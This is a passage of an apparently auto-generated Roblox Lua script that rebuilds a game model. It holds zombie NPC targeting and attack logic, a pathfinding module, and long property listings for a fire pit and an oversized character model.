for _, object in pairs(humanoids) do
if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then
local torso = object.Parent:FindFirstChild("HumanoidRootPart")
if torso then
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= configs["AggroRange"] then
if object.Parent.Name == "Drooling Zombie" then
table.insert(zombies, object.Parent)
else
table.insert(characters, object.Parent)
end
end
end
end
end
local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
if target then
ZombieTarget = target
return true
end
-- -- Go through each valid target to see if within field of view and if there is
-- -- clear line of sight. Field of view treated as wedge in front of character.
-- for _, character in pairs(characters) do
-- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position)
-- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z)
-- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude)
-- if math.deg(angle) < configs["FieldOfView"]/2 then
-- ZombieTarget = character
-- -- raycast to see if target is actually visible
-- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
-- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies)
-- if part and part.Parent == ZombieTarget then
-- return true
-- end
-- ZombieTarget = nil
-- end
-- end
end
return false
end
CanSeeTarget.TransitionState = PursueState
-- TargetDead: Check if target is dead.
local TargetDead = StateMachine.NewCondition()
TargetDead.Name = "TargetDead"
TargetDead.Evaluate = function()
if ZombieTarget and ZombieTarget.Humanoid then
return ZombieTarget.Humanoid.Health <= 0
end
return true
end
TargetDead.TransitionState = IdleState
-- GotDamaged: Check if NPC has taken damage
local lastHealth = model.Humanoid.Health
local GotDamaged = StateMachine.NewCondition()
GotDamaged.Name = "GotDamaged"
GotDamaged.Evaluate = function()
if model then
if lastHealth > model.Humanoid.Health then
return true
end
end
return false
end
GotDamaged.TransitionState = SearchState
-- GotBored: Used to provide random state change.
local GotBored = StateMachine.NewCondition()
GotBored.Name = "GotBored"
GotBored.Evaluate = function()
local now = os.time()
if now - lastBored > configs["BoredomDuration"] then
local roll = math.random()
if roll < configs["ChanceOfBoredom"] then
lastBored = now
if GotBored.TransitionState == SearchState then
GotBored.TransitionState = IdleState
else
GotBored.TransitionState = SearchState
end
return true
end
end
return false
end
GotBored.TransitionState = IdleState
-- LostTarget: Checks clear line of sight
local LostTarget = StateMachine.NewCondition()
LostTarget.Name = "LostTarget"
LostTarget.Evaluate = function()
if true then return false end
if ZombieTarget then
if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then
local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
local part, position = game.Workspace:FindPartOnRay(toTarget, model)
if not part or part.Parent ~= ZombieTarget then
--print("Lost target!")
ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position
ZombieTarget = nil
return true
end
end
end
return false
end
LostTarget.TransitionState = HuntState
local WithinRange = StateMachine.NewCondition()
WithinRange.Name = "WithinRange"
WithinRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance < configs["AttackRange"] then
--print("Within attack range!")
return true
end
end
return false
end
WithinRange.TransitionState = AttackState
local OutsideRange = StateMachine.NewCondition()
OutsideRange.Name = "OutsideRange"
OutsideRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance > configs["AttackRange"] then
--print("Outside attack range!")
return true
end
end
return false
end
OutsideRange.TransitionState = PursueState
table.insert(IdleState.Conditions, CanSeeTarget)
table.insert(IdleState.Conditions, GotDamaged)
table.insert(IdleState.Conditions, GotBored)
table.insert(SearchState.Conditions, GotBored)
table.insert(SearchState.Conditions, CanSeeTarget)
table.insert(PursueState.Conditions, LostTarget)
table.insert(PursueState.Conditions, WithinRange)
table.insert(PursueState.Conditions, TargetDead)
table.insert(AttackState.Conditions, OutsideRange)
table.insert(AttackState.Conditions, TargetDead)
table.insert(HuntState.Conditions, GotBored)
table.insert(HuntState.Conditions, CanSeeTarget)
-- Setup arms damage
local canHit = true
local lastHit = os.time()
local function handleHit(other)
if canHit then
if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then
local enemy = other.Parent
if enemy.Humanoid.WalkSpeed > 0 then
enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"]
canHit = false
end
end
else
local now = os.time()
if now - lastHit > configs["DamageCooldown"] then
lastHit = now
canHit = true
end
end
end
local leftHitConnect, rightHitConnect
leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit)
rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit)
--ZombieAI.Animate(model)
--updateDisplay()
--updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState)
local thread = coroutine.create(function()
while true do
wait()
-- calculate repulsion force
local humanoids = HumanoidList:GetCurrent()
local localZombies = {}
for _, humanoid in pairs(humanoids) do
if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then
local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart")
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= 2.5 then
table.insert(localZombies, torso.Position)
end
end
end
local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies)
if repulsionDirection.magnitude > 0 then
--print("replusion direction: " .. tostring(repulsionDirection))
end
model.HumanoidRootPart.RepulsionForce.force = repulsionDirection
if StateMachine.CurrentState and model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = true
model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name
end
if not model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = false
end
end
end)
coroutine.resume(thread)
StateMachine.SwitchState(IdleState)
zombie.Stop = function()
StateMachine.SwitchState(nil)
end
return zombie
end
return ZombieAI
end))
ModuleScript291.Name = "ROBLOX_PathfindingLibrary"
ModuleScript291.Parent = Configuration285
table.insert(cors,sandbox(ModuleScript291,function()
local PathfindingUtility = {}
local TargetOffsetMax = 10--5
local JumpThreshold = 1.5 --2.5
local NextPointThreshold = 4
local PathfindingService = game:GetService("PathfindingService")
PathfindingService.EmptyCutoff = .3
function PathfindingUtility.new()
local this = {}
local currentTargetPos = nil
local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge)
local path = nil
local currentPointIndex = 1
function this:MoveToTarget(character, target)
local targetOffset = (lastTargetPos - target).magnitude
--
-- local targetOffsetVector = (lastTargetPos - target)
-- if targetOffsetVector.magnitude < math.huge then
-- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1)
-- end
if targetOffset > TargetOffsetMax then
--if targetOffsetVector.magnitude > TargetOffsetMax then
--print("moveto")
local startPoint = character.HumanoidRootPart.Position
local humanoidState = character.Humanoid:GetState()
if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then
--print("this")
local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPart then
startPoint = hitPoint
end
end
--print("making new path")
local newTarget = target
local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPoint then
if (hitPoint - target).magnitude > 4 then
newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0)
end
end
--local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0)
path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500)
if path.Status ~= Enum.PathStatus.Success then
--print(tostring(path.Status))
end
--path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)
-- game.Workspace.Points:ClearAllChildren()
-- local ps = path:GetPointCoordinates()
-- for _, point in pairs(ps) do
-- local part = Instance.new("Part", game.Workspace.Points)
-- part.CanCollide = false
-- part.Anchored = true
-- part.FormFactor = Enum.FormFactor.Custom
-- part.Size = Vector3.new(1,1,1)
-- part.Position = point
-- end
currentPointIndex = 1
lastTargetPos = target
end
if path then
local points = path:GetPointCoordinates()
if currentPointIndex < #points then
local currentPoint = points[currentPointIndex]
local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude
if distance < NextPointThreshold then
currentPointIndex = currentPointIndex + 1
end
character.Humanoid:MoveTo(points[currentPointIndex])
if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then
character.Humanoid.Jump = true
end
else
character.Humanoid:MoveTo(target)
end
end
end
return this
end
return PathfindingUtility
end))
Configuration292.Name = "Configurations"
Configuration292.Parent = Model246
IntValue293.Name = "Damage"
IntValue293.Parent = Configuration292
IntValue293.Value = 30
BoolValue294.Name = "Debug"
BoolValue294.Parent = Configuration292
IntValue295.Name = "FieldOfView"
IntValue295.Parent = Configuration292
IntValue295.Value = 180
IntValue296.Name = "AggroRange"
IntValue296.Parent = Configuration292
IntValue296.Value = 200
Configuration297.Name = "Animations"
Configuration297.Parent = Model246
Animation298.Name = "Attack"
Animation298.Parent = Configuration297
Animation298.AnimationId = "http://www.roblox.com/asset/?id=180416148"
Animation299.Name = "Arms"
Animation299.Parent = Configuration297
Animation299.AnimationId = "http://www.roblox.com/asset/?id=183294396"
CharacterMesh300.Name = "Zombie Left Arm"
CharacterMesh300.Parent = Model246
CharacterMesh300.BodyPart = Enum.BodyPart.LeftArm
CharacterMesh300.MeshId = 37683097
CharacterMesh300.OverlayTextureId = 37686282
CharacterMesh301.Name = "Zombie Left Leg"
CharacterMesh301.Parent = Model246
CharacterMesh301.BodyPart = Enum.BodyPart.LeftLeg
CharacterMesh301.MeshId = 37683150
CharacterMesh301.OverlayTextureId = 37687646
CharacterMesh302.Name = "Zombie Right Arm"
CharacterMesh302.Parent = Model246
CharacterMesh302.BodyPart = Enum.BodyPart.RightArm
CharacterMesh302.MeshId = 37683174
CharacterMesh302.OverlayTextureId = 37686282
CharacterMesh303.Name = "Zombie Right Leg"
CharacterMesh303.Parent = Model246
CharacterMesh303.BodyPart = Enum.BodyPart.RightLeg
CharacterMesh303.MeshId = 37683227
CharacterMesh303.OverlayTextureId = 37687646
CharacterMesh304.Name = "Zombie torso"
CharacterMesh304.Parent = Model246
CharacterMesh304.BodyPart = Enum.BodyPart.Torso
CharacterMesh304.MeshId = 37683263
CharacterMesh304.OverlayTextureId = 37686282
Sound305.Name = "Moan"
Sound305.Parent = Model246
Sound305.Pitch = 0.15000000596046
Sound305.PlaybackSpeed = 0.15000000596046
Sound305.Volume = 0.050000000745058
BodyColors306.Parent = Model246
BodyColors306.HeadColor = BrickColor.new("Camo")
BodyColors306.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529)
BodyColors306.LeftArmColor = BrickColor.new("Earth green")
BodyColors306.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors306.LeftLegColor = BrickColor.new("Earth green")
BodyColors306.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors306.RightArmColor = BrickColor.new("Earth green")
BodyColors306.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors306.RightLegColor = BrickColor.new("Earth green")
BodyColors306.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors306.TorsoColor = BrickColor.new("Earth green")
BodyColors306.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471)
Model307.Parent = Model1
Model308.Name = "FirePit"
Model308.Parent = Model307
Part309.Parent = Model308
Part309.CFrame = CFrame.new(182.799271, 0.104699135, -21.5915051, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part309.Position = Vector3.new(182.799271, 0.104699135, -21.5915051)
Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part309.Size = Vector3.new(4, 0.200000003, 4)
Part309.Anchored = true
Part309.BottomSurface = Enum.SurfaceType.Smooth
Part309.BrickColor = BrickColor.new("Dark stone grey")
Part309.Material = Enum.Material.Pebble
Part309.TopSurface = Enum.SurfaceType.Smooth
Part309.brickColor = BrickColor.new("Dark stone grey")
Part309.FormFactor = Enum.FormFactor.Custom
Part309.formFactor = Enum.FormFactor.Custom
Part310.Parent = Model308
Part310.CFrame = CFrame.new(183.457855, 0.592556953, -21.4690304, 0.965925813, -0.258818984, -1.5260996e-08, -2.29744082e-08, -2.67776841e-08, -0.999999821, 0.258819044, 0.965925634, -3.18114708e-08)
Part310.Orientation = Vector3.new(89.9700012, -154.369995, -139.369995)
Part310.Position = Vector3.new(183.457855, 0.592556953, -21.4690304)
Part310.Rotation = Vector3.new(90, 0, 15)
Part310.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part310.Size = Vector3.new(0.800000012, 2.5999999, 0.800000012)
Part310.Anchored = true
Part310.BottomSurface = Enum.SurfaceType.Smooth
Part310.BrickColor = BrickColor.new("Black")
Part310.Material = Enum.Material.Slate
Part310.TopSurface = Enum.SurfaceType.Smooth
Part310.brickColor = BrickColor.new("Black")
Part310.FormFactor = Enum.FormFactor.Custom
Part310.formFactor = Enum.FormFactor.Custom
Part311.Parent = Model308
Part311.CFrame = CFrame.new(182.627319, 1.0978775, -21.73419, 0.500000238, 0.079459697, -0.8623721, -0.707106709, 0.61237216, -0.353553414, 0.499999464, 0.7865659, 0.362372845)
Part311.Orientation = Vector3.new(20.7000008, -67.2099991, -49.1100006)
Part311.Position = Vector3.new(182.627319, 1.0978775, -21.73419)
Part311.Rotation = Vector3.new(44.2900009, -59.5800018, -9.02999973)
Part311.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part311.Size = Vector3.new(0.800000012, 2.19999981, 0.800000012)
Part311.Anchored = true
Part311.BottomSurface = Enum.SurfaceType.Smooth
Part311.BrickColor = BrickColor.new("Black")
Part311.Material = Enum.Material.Slate
Part311.TopSurface = Enum.SurfaceType.Smooth
Part311.brickColor = BrickColor.new("Black")
Part311.FormFactor = Enum.FormFactor.Custom
Part311.formFactor = Enum.FormFactor.Custom
Part312.Name = "FirePart"
Part312.Parent = Model308
Part312.CFrame = CFrame.new(182.799271, 0.304694176, -21.5915051, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part312.Position = Vector3.new(182.799271, 0.304694176, -21.5915051)
Part312.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part312.Size = Vector3.new(3, 0.200000003, 3)
Part312.Anchored = true
Part312.BottomSurface = Enum.SurfaceType.Smooth
Part312.BrickColor = BrickColor.new("Black")
Part312.Material = Enum.Material.Pebble
Part312.TopSurface = Enum.SurfaceType.Smooth
Part312.brickColor = BrickColor.new("Black")
Part312.FormFactor = Enum.FormFactor.Custom
Part312.formFactor = Enum.FormFactor.Custom
Smoke313.Parent = Part312
Smoke313.Color = Color3.new(0.2, 0.2, 0.2)
Smoke313.Size = 0.10000000149012
Smoke313.Opacity = 0.050000000745058
Smoke313.RiseVelocity = 5
Fire314.Parent = Part312
PointLight315.Parent = Part312
PointLight315.Color = Color3.new(1, 0.615686, 0.133333)
PointLight315.Range = 16
Part316.Parent = Model308
Part316.CFrame = CFrame.new(182.799271, 0.504691124, -21.5915051, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part316.Position = Vector3.new(182.799271, 0.504691124, -21.5915051)
Part316.Color = Color3.new(1, 0, 0)
Part316.Transparency = 0.5
Part316.Size = Vector3.new(1.39999998, 0.200000003, 1.39999998)
Part316.Anchored = true
Part316.BottomSurface = Enum.SurfaceType.Smooth
Part316.BrickColor = BrickColor.new("Really red")
Part316.Material = Enum.Material.CorrodedMetal
Part316.TopSurface = Enum.SurfaceType.Smooth
Part316.brickColor = BrickColor.new("Really red")
Part316.FormFactor = Enum.FormFactor.Custom
Part316.formFactor = Enum.FormFactor.Custom
Part317.Parent = Model308
Part317.CFrame = CFrame.new(182.871216, 0.925403595, -20.89151, 0.499999911, 0.866025329, 0, -0.866025329, 0.499999911, 0, 0, 0, 1)
Part317.Orientation = Vector3.new(0, 0, -60)
Part317.Position = Vector3.new(182.871216, 0.925403595, -20.89151)
Part317.Rotation = Vector3.new(0, 0, -60)
Part317.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part317.Size = Vector3.new(0.800000012, 1.99999976, 0.800000012)
Part317.Anchored = true
Part317.BottomSurface = Enum.SurfaceType.Smooth
Part317.BrickColor = BrickColor.new("Black")
Part317.Material = Enum.Material.Slate
Part317.TopSurface = Enum.SurfaceType.Smooth
Part317.brickColor = BrickColor.new("Black")
Part317.FormFactor = Enum.FormFactor.Custom
Part317.formFactor = Enum.FormFactor.Custom
Part318.Name = "ScriptedPart"
Part318.Parent = Model308
Part318.CFrame = CFrame.new(182.799271, 1.20469284, -21.5915051, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part318.Position = Vector3.new(182.799271, 1.20469284, -21.5915051)
Part318.Color = Color3.new(1, 0, 0)
Part318.Transparency = 1
Part318.Size = Vector3.new(3, 2, 3)
Part318.Anchored = true
Part318.BottomSurface = Enum.SurfaceType.Smooth
Part318.BrickColor = BrickColor.new("Really red")
Part318.CanCollide = false
Part318.Material = Enum.Material.Concrete
Part318.TopSurface = Enum.SurfaceType.Smooth
Part318.brickColor = BrickColor.new("Really red")
Part318.FormFactor = Enum.FormFactor.Custom
Part318.formFactor = Enum.FormFactor.Custom
Model319.Parent = Model307
Model320.Name = "MrrSandmann"
Model320.Parent = Model319
Model320.PrimaryPart = Part328
Part321.Name = "Head"
Part321.Parent = Model320
Part321.CFrame = CFrame.new(-25, 4.4999361, -211, 1, 3.46663342e-06, -4.52630474e-07, -3.4666507e-06, 1, -5.02923854e-07, 4.52625756e-07, 5.02921353e-07, 1)
Part321.Position = Vector3.new(-25, 4.4999361, -211)
Part321.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part321.Size = Vector3.new(2, 1, 1)
Part321.Anchored = true
Part321.BrickColor = BrickColor.new("Cool yellow")
Part321.TopSurface = Enum.SurfaceType.Smooth
Part321.brickColor = BrickColor.new("Cool yellow")
Part321.FormFactor = Enum.FormFactor.Symmetric
Part321.formFactor = Enum.FormFactor.Symmetric
SpecialMesh322.Parent = Part321
SpecialMesh322.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal323.Name = "face"
Decal323.Parent = Part321
Decal323.Texture = "http://www.roblox.com/asset?id=494290547"
Weld324.Name = "HeadWeld"
Weld324.Parent = Part321
Weld324.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld324.C1 = CFrame.new(-0.0301818848, 0.206862688, -0.0464763641, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld324.Part0 = Part321
Weld324.Part1 = Part343
Weld324.part1 = Part343
Weld325.Name = "HeadWeld"
Weld325.Parent = Part321
Weld325.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld325.C1 = CFrame.new(0.302529037, -0.451991498, -0.0896668732, 0.69465816, -0.719339609, 0, 0.719092965, 0.69441998, -0.0261769425, 0.0188301243, 0.0181840397, 0.999657333)
Weld325.Part0 = Part321
Weld325.Part1 = Part349
Weld325.part1 = Part349
Weld326.Name = "HeadWeld"
Weld326.Parent = Part321
Weld326.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld326.C1 = CFrame.new(0, -0.340000004, -0.239999995, 1, 0, -0, 0, 0.96694231, 0.254995316, 0, -0.254995316, 0.96694231)
Weld326.Part0 = Part321
Weld326.Part1 = Part355
Weld326.part1 = Part355
Weld327.Name = "HeadWeld"
Weld327.Parent = Part321
Weld327.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld327.Part0 = Part321
Weld327.Part1 = Part361
Weld327.part1 = Part361
Part328.Name = "HumanoidRootPart"
Part328.Parent = Model320
Part328.CFrame = CFrame.new(-24.9999752, 3.00001025, -211.5, 1, -9.42752831e-06, 1.2070177e-06, 9.42750376e-06, 1, -1.34109996e-06, -1.20700975e-06, 1.34110508e-06, 1)
Part328.Position = Vector3.new(-24.9999752, 3.00001025, -211.5)
Part328.Transparency = 1
Part328.Size = Vector3.new(2, 2, 1)
Part328.Anchored = true
Part328.BottomSurface = Enum.SurfaceType.Smooth
Part328.CanCollide = false
Part328.LeftParamA = 0
Part328.LeftParamB = 0
Part328.RightParamA = 0
Part328.RightParamB = 0
Part328.TopSurface = Enum.SurfaceType.Smooth
Part328.FormFactor = Enum.FormFactor.Symmetric
Part328.formFactor = Enum.FormFactor.Symmetric
Motor6D329.Name = "RootJoint"
Motor6D329.Parent = Part328
Motor6D329.MaxVelocity = 0.10000000149012
Motor6D329.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D329.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D329.Part0 = Part328
Motor6D329.Part1 = Part337
Motor6D329.part1 = Part337
Part330.Name = "Left Arm"
Part330.Parent = Model320
Part330.CFrame = CFrame.new(-43.5000038, 5.99983358, -211.499985, 1.00000012, -9.32981493e-06, 1.2088567e-06, 9.61351907e-06, 1.00000024, -1.33924186e-06, -1.20513141e-06, 1.34110451e-06, 1.00000024)
Part330.Position = Vector3.new(-43.5000038, 5.99983358, -211.499985)
Part330.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part330.Size = Vector3.new(35, 8, 1)
Part330.Anchored = true
Part330.BrickColor = BrickColor.new("Cool yellow")
Part330.CanCollide = false
Part330.brickColor = BrickColor.new("Cool yellow")
Part330.FormFactor = Enum.FormFactor.Symmetric
Part330.formFactor = Enum.FormFactor.Symmetric
Weld331.Parent = Part330
Weld331.C0 = CFrame.new(17.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld331.C1 = CFrame.new(-0.999990463, 3.00001049, -1.52587891e-05, -1.48487516e-08, 1.13481678e-06, 1.00000095, -7.4056743e-09, 1.00000191, 1.13481678e-06, -1.00000191, 7.40533324e-09, 1.48488652e-08)
Weld331.Part0 = Part330
Weld331.Part1 = Part337
Weld331.part1 = Part337
Part332.Name = "Left Leg"
Part332.Parent = Model320
Part332.CFrame = CFrame.new(-25.4999561, 1.00000548, -211.5, 1, -9.42752285e-06, 1.20701873e-06, 9.42751012e-06, 1, -1.3410986e-06, -1.20700872e-06, 1.34110644e-06, 1)
Part332.Position = Vector3.new(-25.4999561, 1.00000548, -211.5)
Part332.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part332.Size = Vector3.new(1, 2, 1)
Part332.Anchored = true
Part332.BottomSurface = Enum.SurfaceType.Smooth
Part332.BrickColor = BrickColor.new("Bright blue")
Part332.CanCollide = false
Part332.brickColor = BrickColor.new("Bright blue")
Part332.FormFactor = Enum.FormFactor.Symmetric
Part332.formFactor = Enum.FormFactor.Symmetric
Snap333.Parent = Part332
Snap333.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap333.C1 = CFrame.new(-0.5, -1.00000036, 0, -1.00000024, 1.84729743e-09, 1.3455994e-07, -1.3455994e-07, -1.48929757e-11, 1.00000024, -1.84729743e-09, 1.00000024, -1.48929757e-11)
Snap333.Part0 = Part332
Snap333.Part1 = Part337
Snap333.part1 = Part337
Part334.Name = "Right Arm"
Part334.Parent = Model320
Part334.CFrame = CFrame.new(-19.9999237, 27.5003471, -211.499969, 1.00000107, 2.01827879e-06, 1.35734604e-06, 5.35038623e-07, 1.00000215, -1.26518773e-06, -1.32393438e-06, 1.28184809e-06, 1.00000215)
Part334.Position = Vector3.new(-19.9999237, 27.5003471, -211.499969)
Part334.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part334.Size = Vector3.new(8, 51, 1)
Part334.Anchored = true
Part334.BrickColor = BrickColor.new("Cool yellow")
Part334.CanCollide = false
Part334.brickColor = BrickColor.new("Cool yellow")
Part334.FormFactor = Enum.FormFactor.Symmetric
Part334.formFactor = Enum.FormFactor.Symmetric
Weld335.Parent = Part334
Weld335.C0 = CFrame.new(-4, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld335.C1 = CFrame.new(1.00032234, 24.5003929, 0, 1.67049052e-07, 1.27666463e-05, -1.00000215, 8.33125569e-08, 1.00000429, 7.65998811e-06, 1.00000429, -4.99884436e-08, 1.00228817e-07)
Weld335.Part0 = Part334
Weld335.Part1 = Part337
Weld335.part1 = Part337
Part336.Name = "Right Leg"
Part336.Parent = Model320
Part336.CFrame = CFrame.new(-24.4999561, 1.00001502, -211.5, 1, -9.42752285e-06, 1.20701873e-06, 9.42751012e-06, 1, -1.3410986e-06, -1.20700872e-06, 1.34110644e-06, 1)
Part336.Position = Vector3.new(-24.4999561, 1.00001502, -211.5)
Part336.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part336.Size = Vector3.new(1, 2, 1)
Part336.Anchored = true
Part336.BottomSurface = Enum.SurfaceType.Smooth
Part336.BrickColor = BrickColor.new("Bright blue")
Part336.CanCollide = false
Part336.brickColor = BrickColor.new("Bright blue")
Part336.FormFactor = Enum.FormFactor.Symmetric
Part336.formFactor = Enum.FormFactor.Symmetric
Part337.Name = "Torso"
Part337.Parent = Model320
Part337.CFrame = CFrame.new(-24.9999752, 3.00001025, -211.5, 1, -9.42752285e-06, 1.20701873e-06, 9.42751012e-06, 1, -1.3410986e-06, -1.20700872e-06, 1.34110644e-06, 1)
Part337.Position = Vector3.new(-24.9999752, 3.00001025, -211.5)
Part337.Color = Color3.new(0.156863, 0.498039, 0.278431)
Part337.Size = Vector3.new(2, 2, 1)
Part337.Anchored = true
Part337.BrickColor = BrickColor.new("Dark green")
Part337.LeftParamA = 0
Part337.LeftParamB = 0
Part337.LeftSurface = Enum.SurfaceType.Weld
Part337.RightParamA = 0
Part337.RightParamB = 0
Part337.RightSurface = Enum.SurfaceType.Weld
Part337.brickColor = BrickColor.new("Dark green")
Part337.FormFactor = Enum.FormFactor.Symmetric
Part337.formFactor = Enum.FormFactor.Symmetric
Motor6D338.Name = "Left Hip"
Motor6D338.Parent = Part337
Motor6D338.MaxVelocity = 0.10000000149012
Motor6D338.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Motor6D338.C1 = CFrame.new(-0.5, 1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Motor6D338.Part0 = Part337
Motor6D338.Part1 = Part332
Motor6D338.part1 = Part332
Motor6D339.Name = "Right Hip"
Motor6D339.Parent = Part337
Motor6D339.MaxVelocity = 0.10000000149012
Motor6D339.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Motor6D339.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Motor6D339.Part0 = Part337
Motor6D339.Part1 = Part336
Motor6D339.part1 = Part336
Snap340.Parent = Part337
Snap340.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap340.C1 = CFrame.new(1.71661377e-05, -0.499925375, -0.5, -1.00000024, 1.66149948e-06, -1.27596013e-05, -1.30287199e-05, -8.38184576e-07, 1.00000024, 1.65779431e-06, 1.00000024, 8.38175424e-07)
Snap340.Part0 = Part337
Snap340.Part1 = Part321
Snap340.part1 = Part321
Humanoid341.Parent = Model320
Humanoid341.LeftLeg = Part332
Humanoid341.RightLeg = Part336
Humanoid341.Torso = Part328
Accessory342.Name = "Floating Sparkling Shine"
Accessory342.Parent = Model320
Accessory342.AttachmentForward = Vector3.new(-0, -0, 1)
Accessory342.AttachmentPoint = CFrame.new(-0.0301818848, 0.206862688, -0.0464763641, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Accessory342.AttachmentPos = Vector3.new(-0.0301818848, 0.206862688, -0.0464763641)
Accessory342.AttachmentRight = Vector3.new(-1, 0, 0)
Part343.Name = "Handle"
Part343.Parent = Accessory342
Part343.CFrame = CFrame.new(-25.0183334, 3.95909905, -211.125488, -0.999999702, -1.99634542e-07, -1.67618452e-08, -6.86736712e-08, 0.999999642, -1.8623723e-08, 1.96109795e-12, -2.67164069e-12, -1.00000012)
Part343.Orientation = Vector3.new(0, -180, 0)
Part343.Position = Vector3.new(-25.0183334, 3.95909905, -211.125488)
Part343.Rotation = Vector3.new(180, 0, 180)
Part343.Size = Vector3.new(2.88000011, 3, 2.70000005)
Part343.Anchored = true
Part343.BottomSurface = Enum.SurfaceType.Smooth
Part343.CanCollide = false
Part343.TopSurface = Enum.SurfaceType.Smooth
SpecialMesh344.Name = "SpecialMesh"
SpecialMesh344.Parent = Part343
SpecialMesh344.MeshId = "rbxassetid://4641670867"
SpecialMesh344.TextureId = "rbxassetid://4641683252"
SpecialMesh344.MeshType = Enum.MeshType.FileMesh
StringValue345.Name = "AvatarPartScaleType"
StringValue345.Parent = Part343
StringValue345.Value = "Classic"
Weld346.Name = "AccessoryWeld"
Weld346.Parent = Part343
Weld346.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld346.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld346.Part0 = Part343
Weld346.Part1 = Part321
Weld346.part1 = Part321
Weld347.Name = "AccessoryWeld"
Weld347.Parent = Part343
